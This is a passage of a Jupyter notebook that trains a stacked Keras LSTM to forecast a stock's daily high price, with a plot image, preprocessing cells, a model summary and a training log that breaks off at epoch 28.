8QJT/DZ+s/4YsMXpBe03iJTHVlqfioAb614i325+9ibu9feV2FWtGimy6pKueLACk549wTOHXIuG9M2MiBuQKta8qcxFLSJSJv24VkfsmD3AoZ2GsoXG75gR9aOGkFbbnEu4YHhXuqhiEjr1ym0EwCXHXYZt4y9BagarrgnZ0+9r2Md2y2iG9OGTqv1uITQBFLyU+xlYMBR1a8+tmdtBxzrbt1+5O317pu3Gf8yuP2I23n8+Me93ZUWtSl9k73949Yfa+xvyTnm4YHhGBh8seEL9uTsYfa22YBj6GRbp+GRItKmHZJwCFeNuIqeUT0B2Jm902V/WUUZ5WY5wX4qoy8iUpvzh57PF+d+wRunvWF/8eXr40tUUJS9ODbAE/OfYO6OubVeZ2eW4zO4euauuvjQeFILUtmfu99uO6LbEQ3qc1vKspWUlwCORczbmwqzgkd/f5TVyav5fefv7M7ZzSPHPGIXUgOYd+k8e7slM20+hg8mZo0vGtpDgS9l2kSkXUgITSDQN9C+YbBYi29r7TMRkdr5+vhy+sDTa7THBMfYQVtqfip3/HwHAOYDJgfyDrA1YytHdj/SPv73Xb/ja/gyNGFojWs5SwhNYGvGVntBb2h4Kfa2tDxKe652+ci8R7h/7v0sP7DcLlpzwdALOLTToZzy4SkkhiUyKmmUfXz16tCe0JbnslmUaRORdsHH8MHf158nFzzJ9sztdntRWRHQtv64i4i0Fs5B21MLnnLZN+X9KYx/a7z95RjArM2zGN99fJ1D4BJCElibupaisiJeOfkVkm9LrrX4SHV3HnknAAWlBQ35UbyqvRZOSc1P5YG5DwCOn3Fn1k6mDphKj6gedjA/MG4gQX5BLLpyEecPPb/BGdWGcl6YvejeIlZft7pFi594ioI2EWk3rD+KLy9+2W5T0CYi0njOQdtfe/+y24vKilh5YCUAS/YtARwV+1Ym169Cn3N5/7Fdx7ot8V+bO450ZPvaUtDWXpco2Je7DxMTX8OXLRlb2Je7z16LLyooijkXz+GTv30CwOik0bx/5vstUu7f2WunvGZvB/oFtouhkaCgTUTaEWsivXPREWuSu+a0iYg0XFxInL2e2r7cfXb7npw99pyyCW9PIKc4h93Zu4H6DXPsEt7F3h4cP7hBfbKWt2lTQZuXh0c6V+lsTumF6QAcnng4WzK2UFxeTFJ4kr3/mF7HEBcS1yLPXRvrvXVU9/pVPG0rFLSJSLux9OqlABzIO8DenL0s2rNImTYRkSboEdmD3Tm7Ka8oZ1/uPjtrsSt7l11cA+DBuQ/aC3M737TXpl9sP8CxzmiAb0CD+hToG4iB0aaCttySXK8995VfX0mPZ3s0+3XTCtJIzksGYEj8ELv9lP6nNPtzNURSRBIfn/0xX533lVf70dxUiERE2o2kiCSGdRrG7pzddH2mKwAfnPkBoEIkIiKN0SuqF2UVZTw+/3FyS3KZ1HMSa1LWcOXXV5JTnGMf98zCZ+ztpIi6g7YJPSaw/ob19lpwDWEYBiH+IW0maHt8/uPc+fOd9uOvNnxF98juHJ54uEeef8byGQDsyNphV1puiuS8ZObtnMc5/zvHbosJjgHg+pHX0yemT22neoy1yHZ7okybiLQrncM68+2mb+3H539+PqBMm4hIYwyMGwjAPb/cA8CJfU+kX0w/e620//3tfzXOcR76WNe161t8pLq2FLQ5B7QAp398OsNfG056gWNoYWl5qUsxl5ZizUFsivm75jPmjTEuARvAcb2PA2BKvylNfg5xT0GbiLQr1lCN6jSnTUSk4Y7sfiS9onrZj4cmDLULjRzd82jOGnwWDx39kMs5DR3u2BhtKWirbbjoigMrADh25rGEPBrC2yve5q3lbzX781vzvTemb2zSdfJL8hn/1vga66FGBUVxUr+TOPCPA14fGtmeKWgTkXbFmgD/80U/u7T7GPq4ExFpKB/Dh2tGXAPAxYdeTLfIboxOGg1AbrFjntYNo2/weL/aUtAW5BdEsF8w/570bwBuG3cbAOvT1gOOte0ALvvqMi7/+vIW64fzKJTGWLxvsdv2rhGO6Qidwjo16fpycLqLEZF25fVTX2f2RbM5tvexLu0tXWJYRKS9umL4FRzX+zjuHn83AN0iugFVZexjgmN449Q3PNqnthS07c7ZzZmDzuQf4/7BgxMf5MGjHyTYL5gdWTvcHp9VlNWk58svyWfujrn2Y2vu4cI9C2tUkawwK3hr+VsUlxXXeV2rv10jujK5z2S73QrapGWpEImItCvRwdH22HrLTxf+xKD4QV7qkYhI2xYXEsfsi2bbj61CI85l7K3ALtAv0CN9aitBW1ZRFruyd3FIwiEE+wfzwNGOhagTQhPspRSqS8lPISooqtHPefMPN/PG8jdYfs1ysouyKSwrJDIwkuzibHJLcl2+xJyxbAZXf3s1mUWZ3Dru1oNe18qsrrhmBbEhsZz64al8u+lbekf1bnRfpf6UaRORdmtM0hgAxnUb5+WeiIi0Hz0iexAbHMsTxz/h2h7Vg85hnT3Sh7YStP2x6w8ADut8mEt7QmgCG9M38sKiF2qck1eS16Tn/Hm7Y3rALT/ewtHvHA3AsE7DAEeZfmeL9i4CwN/Hv87rWssWhAWEAVUZPOva0rIUtIlIu/X9Bd/z44U/2n9gRESk6QL9Akm7I41zDznXa31oK0HbNxu/ITIwkmN6HePSnhCawF97/+LGH2602wbFOUaENHQh7t3Zu/l+8/eAYwF0axij8xDJaYdMA2oGbWtS1gD1WxYntzgXfx9/O5v68KSHGdVlFJP7Tq7jTGkOCtpEpN2KDo62q5yJiEj70VaCtvTCdLqEd6lRUTM8MLzGsQmhCUDDM22T3pnESR+cRHFZMUv2LQHg/TPft/cvvGKhvSZcan6q3W6aJsv2LwOo8Vo+9NtDXPD5BS5tuSW5Lv0+qsdR/HXVX82y9pvUrc6gzTCMNw3DSDEMY41TW4xhGLMNw9hc+d/oynbDMIznDcPYYhjGKsMwhrdk50VERESk42krQVt2cTaRQZE12k/rfxoAX5z7hd123cjrgKoCL5aNaRupMCtqfY6tmVsBR6GRVcmrADil/yk8dPRDHNX9KMZ0HUP/2P4A9n6AbZnbKK0oBVyDNtM0eWDuA3yw+gO7raC0gJcWv0RGYUY9fmppCfXJtL0NnFit7S5gjmma/YA5lY8BpgD9Kv9dDbzSPN0UEREREXEI8Q+xg5v9ufuZtXmWl3vkXnZRNpGBNYO2aUOnsea6NUwdMBXzARPzAdNeSsE50zZr8ywGvjSQ15e+XutzWEVL7p5zN7/u+JUh8UOICIzgvon3Me+yeYCjwmf/2P78te8vHvrtIebumMv83fPtazgPySwsq1ro26o2aa0pJ95TZ/VI0zTnGYbRs1rzVODoyu13gLnAnZXtM03Hb3ihYRhRhmEkmqa5v9l6LCIiIiIdWoh/CPkl+Zimyekfn85fe/8i684st1ktb8ouzqZXdC+3+4YkDHF5bM2/dg7avtv0HQDfbv6Wa0ZeU+MapeWldhGR7VnbSStI49ax7qtA9o/tz6rkVXy54UuX9mC/YJdMm1VgBKC4vJggvyC2ZW6r7UcUD2nsnLZOToHYAcBaTS8J2O103J7KthoMw7jaMIwlhmEsSU1NdXeIiIiIiEgNPaN6Um6WsyVjC9sztwOtMxtUW6bNndCAUKAq67UzaycvL3kZcCyMff+v99c45/st35NakErPqJ4cyDtAWUUZJ/c/2e31e0f1rhF8PTjxQcICwlyCtv8u+a+9bfVlY9pGAPbeurdeP4s0vyYXIqnMqpl1HljzvNdM0xxpmubI+Pj4pnZDRERERDqIo7ofBcCfu/+0C3hYlRBbC9M0ySrKqnfQFuwXTIh/CAfyDgBw36/3uez/97x/1zjHarvzyDvttnFd3S9z0y+2n8vjR455hAeOfoCS8hIW7Flgtz/424P2tpX125SxiT7RfegS3qVeP4s0v8Yurp1sDXs0DCMRsFYH3At0czqua2WbiIiIiEiz6BvTFx/Dh62ZWzEMA6DVDeHLLMqkuLyYxPDEeh1vGAb9YvqxKWMTUFWev39sfzalO9pM08QwDMoqyhj+3+GsTllNt4huXH745Szbv4zjeh+Hv6/7Ndcm93GU5j9z0JncdeRdjOgyAnAM4VyZvJLc4twai6PnleTx9cav+WTtJ0zpO6XhL4I0m8Zm2r4GLqncvgT4yqn94soqkmOBbM1nExEREZHm5O/rT9eIrmzJ2GKvS7YtyxG03TH7Dh767SGP9ue7Td9x1893ubTtznbMGOoW0c3dKW4NiBtgB2jJ+cmc1O8kFlyxgIFxAwEYO2MsZRVlfLfpO1anrAbgl0t+IcA3gNdOfY1zhpxT67X7xfbj54t+5u2pbzMqaRQ+hiMMuOvIu+znW5+63uWcXdm7eGDuA47jxrv+fOJZ9Sn5/yGwABhgGMYewzCuAP4PON4wjM3AcZWPAWYB24AtwOvA9S3SaxERERHp0HpF9eLDNR/aQ/i2ZmzFNE2e+PMJO9DwlKkfTeWx+Y8xe+tsyirKANiTsweAbpH1D9r6x/Rne+Z2SspLSMlPoVNoJ2KCY7hh1A0A/LX3L+Zsm8O8nfMI9A1kww0b6BvTt97XP7b3sTXWiJvYcyIAKfkprExeCVQVRTnpg5NYeWAl9024jwk9JtT7eaT51Rm0maY5zTTNRNM0/U3T7Gqa5gzTNNNN0zzWNM1+pmkeZ5pmRuWxpmmaN5im2cc0zaGmaS5p+R9BRERERDoa50WdzzvkPFanrGbYq8PstoOtbdbchnYaCsAJ752A/7/92ZOzxx7eaM25q4/+sf0pN8vZmrGVlPwU+9zsomz7mG2Z20gvTKdTWCcGxA1oct/jQxy1JVLzU9mVvQuAjdM32vtNTDqFdnJ7rnhOkwuRiIiIiIh4Wq8oRyn9qQOmkhTuKFbuXIxkX+4+j/TDNE17iKal2zPd7IWsQ/1D630tKwh78a8XKSkvoU90HwCuHnE1Zww8A3DMdcsozCAmOKYZeg/xoY6gLSU/hZziHIL8gugS3oWnTnjKPiYuJK5ZnksaT0GbiIiIiLQ5o5JGAXBY58P454R/8sKUF4gJjqFfjKNKojU8saFWJa/ixy0/1nlcZmEmX6z/Ap+HfMgqyqqx/+mFTwNVQw3rw+q7VerfKhYSHxrP5+d+TkRgBGkFaWQWZTZf0GZl2gpSySnOISIwAsBl2KWCNu9T0CYiIiIibc6UvlNYfNVibjviNqKCopg+ejrpd6Tz6d8+BWBvjvsC5td+ey03fX+T232maXL020dz4vsnsiFtw0Gf/4qvr+DMT850aXvqhKe4f4LremrB/sH1/ZGIDo52eTw0YajL47iQONIL05s10xbsH0xYQBip+a5Bm5Xlg6psnHhPY0v+i4iIiIh4jWEYjOwyskZ7UoRjqOTifYs5vs/x+Bg+drYrJT+F/y51LB799OSn8fXxtc8rLitm1OujyCzKBGDlgZV21UZ3ft3xq8vjR495lFvH3QrAyC4jOe2j0wDsKo31teraVdww6waGdRpWo3x/bHAsaQVppOanEtOteYI2cJT2f3bRswAc3vlwwLWAijJt3qegTURERETajdjgWMZ3H8/Li1/muUXPERYQxnlDzqNvTF92Zu+0j0svTHcpEvJ/f/wfq1NWExscS3phOhvTHcU4Pl37KYd2PpT+sf3tY03TJL8kH4APz/qQ8w45z6UPY7qOaXT/h3YayrzL5rndFxcSx87snaQWpNI9snujn+NgrMxgeEBVlcnY4NgWeS6pPw2PFBEREZF2wzAM7ptwH7kluRSVFZFWkMaLi1/k5h9v5pmFz9jHpeanupz3176/GBI/hLQ70ugS3oUdWTvYn7ufc/53Dqd+eKrLsdnF2ZRWlPL0CU/XCNigap5Yc4sLiWNd6jrAtXpmUx3R7Qh7OzkvGcBetByosei2eJ6CNhERERFpV8Z3H1/rviePfxJwDJW0bM/czqzNsxjWybFkQFJ4Entz9/LpOsf8uE3pm1i0ZxEAWUVZvLrkVaD2uV7OAU9zigyMtLd7Rfdqtuv+dulvbJy+kfiQeG4/4vZmu640HwVtIiIiItKuhPiH8NJJLzGl7xS77dhexzL7otlM7jsZcFRLtHy/5XsAzh1yLuCYF7cnZw/fbf7OPmbsjLEUlRXxwqIXuHvO3UDD1mBrDntyqypiWnPPmoOfjx/9Y/uTcnsK14y8xm4P8A1otueQplHQJiIiIiLtzvWjrmfmGTPtxxcMvYDjeh/nspi0ZeWBlUQHRXPaAEfxkO4R3dmeuZ15O13nlu3K3sWK5BX2485hnWt9/h037WDrjVub40exje/myCBeOOzCBlWlbKzk25JJuz2txZ9H6qagTURERETapbiQOLt6Y1RQFACxIY6iGs6ZtlUpqxjWaZg9rPH8oedTWFZIUVkRL055kd8u/Q2AJfuW8OOWHwn0DeSRYx6pUZLfWY+oHvSO7t2sP88t425h3637ePeMd5v1urWJCoqyXy/xLgVtIiIiItJuWdmzCrMCcAwFBPjXb/8iuyibsooyViev5tBOh9rnjOk6xl7o+sS+J9qVGt9Z+Q75pfnMvXQu9xx1T4vNXauNj+FDYniiR59TWgeV/BcRERGRduvVk18lPCCc4/scX2Pf+rT17MreRX5pPsf2PtZl39Krl7I+bT19YvpQWl6KgcFPW38i0DeQ4YnDPdV9EUCZNhERERFpxzqFdWLmGTOJCIyw2y459BIANqZt5I9dfxDqH8op/U9xOS88MJzRSaMB8Pf1txeYPmvwWSrQIR6nTJuIiIiIdCivn/o676x8h0u/uhSAkV1G2nPfalNulgNwzuBzWrp7IjUoaBMRERGRDsXf15/Y4FjSC9MBeOy4x+o85/4J9/PH7j/sJQNEPMkwTdPbfWDkyJHmkiVLvN0NEREREekgViev5qpvruL+ifdzUr+TvN0dEQzDWGqa5kh3+5RpExEREZEOZ2inoSy8cqG3uyFSLypEIiIiIiIi0oopaBMREREREWnFFLSJiIiIiIi0YgraREREREREWjEFbSIiIiIiIq2YgjYREREREZFWTEGbiIiIiIhIK6agTUREREREpBVT0CYiIiIiItKKKWgTERERERFpxRS0iYiIiIiItGIK2kRERERERFoxBW0iIiIiIiKtmGGaprf7gGEYqcBOb/fDjTggzdud6ID0unueXnPv0OvueXrNvUOvu+fpNfcOve6e155e8x6maca729EqgrbWyjCMJaZpjvR2Pzoave6ep9fcO/S6e55ec+/Q6+55es29Q6+753WU11zDI0VERERERFoxBW0iIiIiIiKtmIK2g3vN2x3ooPS6e55ec+/Q6+55es29Q6+75+k19w697p7XIV5zzWkTERERERFpxZRpExERERERacUUtNXCMIwTDcPYaBjGFsMw7vJ2f9oLwzC6GYbxq2EY6wzDWGsYxk2V7Q8ahrHXMIwVlf9Ocjrn7srfw0bDMCZ7r/dtm2EYOwzDWF35+i6pbIsxDGO2YRibK/8bXdluGIbxfOXrvsowjOHe7X3bYxjGAKf38wrDMHIMw7hZ7/XmZxjGm4ZhpBiGscaprcHvbcMwLqk8frNhGJd442dpK2p5zZ8wDGND5ev6hWEYUZXtPQ3DKHR6z7/qdM6Iys+lLZW/F8MLP06bUcvr3uDPFN3j1F8tr/nHTq/3DsMwVlS2673eTA5yv9hxP9tN09S/av8AX2Ar0BsIAFYCg73dr/bwD0gEhlduhwObgMHAg8Btbo4fXPn6BwK9Kn8vvt7+OdriP2AHEFet7XHgrsrtu4DHKrdPAr4HDGAssMjb/W/L/yo/Uw4APfReb5HXdwIwHFjj1Nag9zYQA2yr/G905Xa0t3+21vqvltf8BMCvcvsxp9e8p/Nx1a7zV+Xvwaj8vUzx9s/Wmv/V8ro36DNF9zhNf82r7X8KuL9yW+/15nvda7tf7LCf7cq0uTca2GKa5jbTNEuAj4CpXu5Tu2Ca5n7TNJdVbucC64Gkg5wyFfjINM1i0zS3A1tw/H6keUwF3qncfgc43al9pumwEIgyDCPRC/1rL44FtpqmufMgx+i93kimac4DMqo1N/S9PRmYbZpmhmmamcBs4MQW73wb5e41N03zJ9M0yyofLgS6Huwala97hGmaC03H3dVMqn5P4kYt7/Xa1PaZonucBjjYa16ZLTsH+PBg19B7veEOcr/YYT/bFbS5lwTsdnq8h4MHFtIIhmH0BA4HFlU2Ta9Mab9ppbvR76I5mcBPhmEsNQzj6sq2TqZp7q/cPgB0qtzW6968zsP1j7re6y2voe9tvf7N63Ic33pbehmGsdwwjN8Mwziqsi0Jx+ts0WveeA35TNF7vfkcBSSbprnZqU3v9WZW7X6xw362K2gTrzAMIwz4DLjZNM0c4BWgD3AYsB/HcANpXuNN0xwOTAFuMAxjgvPOym//VE62mRmGEQCcBnxa2aT3uofpve1ZhmHcC5QB71c27Qe6m6Z5OHAr8IFhGBHe6l87pM8U75mG6xdyeq83Mzf3i7aO9tmuoM29vUA3p8ddK9ukGRiG4Y/jf8D3TdP8HMA0zWTTNMtN06wAXqdqWJh+F83ENM29lf9NAb7A8RonW8MeK/+bUnm4XvfmMwVYZppmMui97kENfW/r9W8GhmFcCpwCXFB5Q0Xl8Lz0yu2lOOZT9cfx+joPodRr3giN+EzRe70ZGIbhB5wJfGy16b3evNzdL9KBP9sVtLm3GOhnGEavym/JzwO+9nKf2oXK8d8zgPWmaT7t1O48X+oMwKrS9DVwnmEYgYZh9AL64ZjMKw1gGEaoYRjh1jaOggFrcLy+ViWlS4CvKre/Bi6urMY0Fsh2Go4gDePyTaze6x7T0Pf2j8AJhmFEVw4vO6GyTerJMIwTgTuA00zTLHBqjzcMw7dyuzeO9/a2ytc9xzCMsZV/Gy6m6vck9dSIzxTd4zSP44ANpmnawx71Xm8+td0v0oE/2/283YHWyDTNMsMwpuP4pfoCb5qmudbL3WovjgQuAlYblSVygXuAaYZhHIYjzb0DuAbANM21hmF8AqzDMdzmBtM0yz3c5/agE/CF4zMQP+AD0zR/MAxjMfCJYRhXADtxTKgGmIWjEtMWoAC4zPNdbvsqA+TjqXw/V3pc7/XmZRjGh8DRQJxhGHuAB4D/owHvbdM0MwzD+DeOG1qAh0zTrG/Bhw6nltf8bhyVCmdXftYsNE3zWhzV9x4yDKMUqACudXptrwfeBoJxzIFzngcn1dTyuh/d0M8U3ePUn7vX3DTNGdScqwx6rzen2u4XO+xnu1E5ekFERERERERaIQ2PFBERERERacUUtImIiIiIiLRiCtpERERERERaMQVtIiIiIiIirZiCNhERERERkVZMQZuIiIiIiEgrpqBNRERERESkFVPQJiIiIiIi0or9PzJhxjBU7l8eAAAAAElFTkSuQmCC", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "plt.figure(figsize=(15,6))\n", + "\n", + "df_high=stock_df.reset_index()['High']\n", + "plt.plot(df_high, c=\"g\")\n", + "plt.show()" + ] + }, + { + "cell_type": "code", + "execution_count": 10, + "metadata": { + "id": "02EZuFq-H4Qc" + }, + "outputs": [ + { + "ename": "ModuleNotFoundError", + "evalue": "No module named 'sklearn'", + "output_type": "error", + "traceback": [ + "\u001b[1;31m---------------------------------------------------------------------------\u001b[0m", + "\u001b[1;31mModuleNotFoundError\u001b[0m Traceback (most recent call last)", + "\u001b[1;32m~\\AppData\\Local\\Temp/ipykernel_9348/2170990525.py\u001b[0m in \u001b[0;36m\u001b[1;34m\u001b[0m\n\u001b[1;32m----> 1\u001b[1;33m \u001b[1;32mfrom\u001b[0m \u001b[0msklearn\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0mpreprocessing\u001b[0m \u001b[1;32mimport\u001b[0m \u001b[0mMinMaxScaler\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0m\u001b[0;32m 2\u001b[0m \u001b[0mscaler\u001b[0m \u001b[1;33m=\u001b[0m \u001b[0mMinMaxScaler\u001b[0m\u001b[1;33m(\u001b[0m\u001b[0mfeature_range\u001b[0m \u001b[1;33m=\u001b[0m \u001b[1;33m(\u001b[0m\u001b[1;36m0\u001b[0m\u001b[1;33m,\u001b[0m\u001b[1;36m1\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0;32m 3\u001b[0m \u001b[0mdf_high\u001b[0m \u001b[1;33m=\u001b[0m \u001b[0mscaler\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0mfit_transform\u001b[0m\u001b[1;33m(\u001b[0m\u001b[0mnp\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0marray\u001b[0m\u001b[1;33m(\u001b[0m\u001b[0mdf_high\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0mreshape\u001b[0m\u001b[1;33m(\u001b[0m\u001b[1;33m-\u001b[0m\u001b[1;36m1\u001b[0m\u001b[1;33m,\u001b[0m\u001b[1;36m1\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n", + "\u001b[1;31mModuleNotFoundError\u001b[0m: No module named 'sklearn'" + ] + } + ], + "source": [ + "from sklearn.preprocessing import MinMaxScaler\n", + "scaler = MinMaxScaler(feature_range = (0,1))\n", + "df_high = scaler.fit_transform(np.array(df_high).reshape(-1,1))" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "sYABCwpuH4Sy", + "outputId": "1d3ba3b9-d42a-4646-9965-45a51ed30087" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "(2035, 1)" + ] + }, + "execution_count": 13, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "df_high.shape" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "_oCy4h_LH4WY", + "outputId": "77cbb092-4d17-43e7-ca13-5eb80ea06277" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "[[0.62268754]\n", + " [0.62614353]\n", + " [0.6391543 ]\n", + " ...\n", + " [0.15917869]\n", + " [0.15938199]\n", + " [0.16344786]]\n" + ] + } + ], + "source": [ + "print(df_high)" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "7iCWojm1IMrH" + }, + "source": [ + "**Train Test Split**" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "Pb1niQqxIJ3O" + }, + "outputs": [], + "source": [ + "training_size = int(len(df_high) * 0.75)\n", + "test_size = len(df_high) - training_size\n", + "train_data, test_data = df_high[0:training_size,:], df_high[training_size:len(df_high),:1]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "lZYRx4uxIJ8A", + "outputId": "44ed1d10-b4e4-4364-8e49-42df47174c83" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "(1526, 509)" + ] + }, + "execution_count": 16, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "training_size,test_size" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "vC1N6RXaIzGO" + }, + "source": [ + "**Data Preprocessing** " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "5gT7tzOoIJ_N" + }, + "outputs": [], + "source": [ + "def create_dataset(dataset, time_step = 1):\n", + " dataX, dataY = [], []\n", + " for i in range(len(dataset) - time_step - 1):\n", + " a = dataset[i:(i+time_step), 0]\n", + " dataX.append(a)\n", + " dataY.append(dataset[i+time_step, 0])\n", + " return np.array(dataX), np.array(dataY)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "xmsEj2O_IKFg" + }, + "outputs": [], + "source": [ + "time_step = 100\n", + "x_train, y_train = create_dataset(train_data, time_step)\n", + "x_test, y_test = create_dataset(test_data, time_step)" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "BVL3wqvzJUQ2" + }, + "source": [ + "**LSTM**" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "H8oLF3RmJS6-" + }, + "outputs": [], + "source": [ + "x_train = x_train.reshape(x_train.shape[0], x_train.shape[1], 1)\n", + "x_test = x_test.reshape(x_test.shape[0], x_test.shape[1], 1)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "mFPtaq5oJS-I", + "outputId": "b407de28-46f4-4023-b87f-c045c802405e" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "(1425, 100, 1)\n", + "(1425,)\n" + ] + }, + { + "data": { + "text/plain": [ + "(None, None)" + ] + }, + "execution_count": 20, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "print(x_train.shape), print(y_train.shape)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "V5K8ef1QJTB-", + "outputId": "10dfaea7-189a-4662-8903-4a7bd324d221" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "(408, 100, 1)\n", + "(408,)\n" + ] + }, + { + "data": { + "text/plain": [ + "(None, None)" + ] + }, + "execution_count": 21, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "print(x_test.shape), print(y_test.shape)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "FWJ6CJL4Jh_2" + }, + "outputs": [], + "source": [ + "import math\n", + "from sklearn.metrics import mean_squared_error\n", + "import tensorflow as tf\n", + "from tensorflow.python.keras.models import Sequential\n", + "from tensorflow.python.keras.layers import Dense\n", + "from tensorflow.python.keras.layers import LSTM" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "4fEwqjyKJtvF" + }, + "outputs": [], + "source": [ + "model = Sequential()\n", + "model.add(LSTM(50, return_sequences = True, input_shape = (100,1)))\n", + "model.add(LSTM(50, return_sequences = True))\n", + "model.add(LSTM(50))\n", + "model.add(Dense(1))\n", + "model.compile(loss = 'mean_squared_error', optimizer = 'adam')" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "9-9HXMcqJ0np", + "outputId": "2f0d27da-65c4-4f32-db9d-8633da43008e" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Model: \"sequential\"\n", + "_________________________________________________________________\n", + "Layer (type) Output Shape Param # \n", + "=================================================================\n", + "lstm (LSTM) (None, 100, 50) 10400 \n", + "_________________________________________________________________\n", + "lstm_1 (LSTM) (None, 100, 50) 20200 \n", + "_________________________________________________________________\n", + "lstm_2 (LSTM) (None, 50) 20200 \n", + "_________________________________________________________________\n", + "dense (Dense) (None, 1) 51 \n", + "=================================================================\n", + "Total params: 50,851\n", + "Trainable params: 50,851\n", + "Non-trainable params: 0\n", + "_________________________________________________________________\n" + ] + } + ], + "source": [ + "model.summary()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "PNm__q0MJ0qI", + "outputId": "0910485a-ea42-4d32-f5fc-e1f3dfe13c1a" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Epoch 1/100\n", + "23/23 [==============================] - 17s 381ms/step - loss: 0.0296 - val_loss: 0.0062\n", + "Epoch 2/100\n", + "23/23 [==============================] - 9s 393ms/step - loss: 0.0029 - val_loss: 0.0011\n", + "Epoch 3/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 0.0015 - val_loss: 0.0022\n", + "Epoch 4/100\n", + "23/23 [==============================] - 8s 346ms/step - loss: 0.0014 - val_loss: 0.0011\n", + "Epoch 5/100\n", + "23/23 [==============================] - 9s 386ms/step - loss: 0.0013 - val_loss: 0.0017\n", + "Epoch 6/100\n", + "23/23 [==============================] - 11s 455ms/step - loss: 0.0013 - val_loss: 0.0011\n", + "Epoch 7/100\n", + "23/23 [==============================] - 8s 345ms/step - loss: 0.0012 - val_loss: 0.0012\n", + "Epoch 8/100\n", + "23/23 [==============================] - 8s 345ms/step - loss: 0.0011 - val_loss: 0.0014\n", + "Epoch 9/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 0.0011 - val_loss: 0.0013\n", + "Epoch 10/100\n", + "23/23 [==============================] - 8s 346ms/step - loss: 0.0011 - val_loss: 0.0011\n", + "Epoch 11/100\n", + "23/23 [==============================] - 8s 346ms/step - loss: 0.0011 - val_loss: 9.6895e-04\n", + "Epoch 12/100\n", + "23/23 [==============================] - 8s 345ms/step - loss: 0.0011 - val_loss: 9.5251e-04\n", + "Epoch 13/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 9.4585e-04 - val_loss: 0.0011\n", + "Epoch 14/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 9.1839e-04 - val_loss: 8.2667e-04\n", + "Epoch 15/100\n", + "23/23 [==============================] - 8s 346ms/step - loss: 9.5037e-04 - val_loss: 7.9969e-04\n", + "Epoch 16/100\n", + "23/23 [==============================] - 8s 345ms/step - loss: 8.7849e-04 - val_loss: 9.4068e-04\n", + "Epoch 17/100\n", + "23/23 [==============================] - 8s 344ms/step - loss: 8.3571e-04 - val_loss: 0.0011\n", + "Epoch 18/100\n", + "23/23 [==============================] - 8s 348ms/step - loss: 8.3033e-04 - val_loss: 8.5492e-04\n", + "Epoch 19/100\n", + "23/23 [==============================] - 8s 348ms/step - loss: 9.3839e-04 - val_loss: 0.0012\n", + "Epoch 20/100\n", + "23/23 [==============================] - 8s 346ms/step - loss: 8.1452e-04 - val_loss: 8.7360e-04\n", + "Epoch 21/100\n", + "23/23 [==============================] - 8s 347ms/step - loss: 8.5985e-04 - val_loss: 7.3618e-04\n", + "Epoch 22/100\n", + "23/23 [==============================] - 9s 393ms/step - loss: 8.0899e-04 - val_loss: 6.3633e-04\n", + "Epoch 23/100\n", + "23/23 [==============================] - 8s 346ms/step - loss: 8.1426e-04 - val_loss: 0.0012\n", + "Epoch 24/100\n", + "23/23 [==============================] - 8s 346ms/step - loss: 8.6575e-04 - val_loss: 7.8958e-04\n", + "Epoch 25/100\n", + "23/23 [==============================] - 8s 347ms/step - loss: 7.4950e-04 - val_loss: 6.6261e-04\n", + "Epoch 26/100\n", + "23/23 [==============================] - 8s 346ms/step - loss: 7.1290e-04 - val_loss: 6.2714e-04\n", + "Epoch 27/100\n", + "23/23 [==============================] - 8s 347ms/step - loss: 6.8539e-04 - val_loss: 7.7937e-04\n", + "Epoch 28/100\n", + "23/23 [==============================] - 8s 347ms/step - loss: 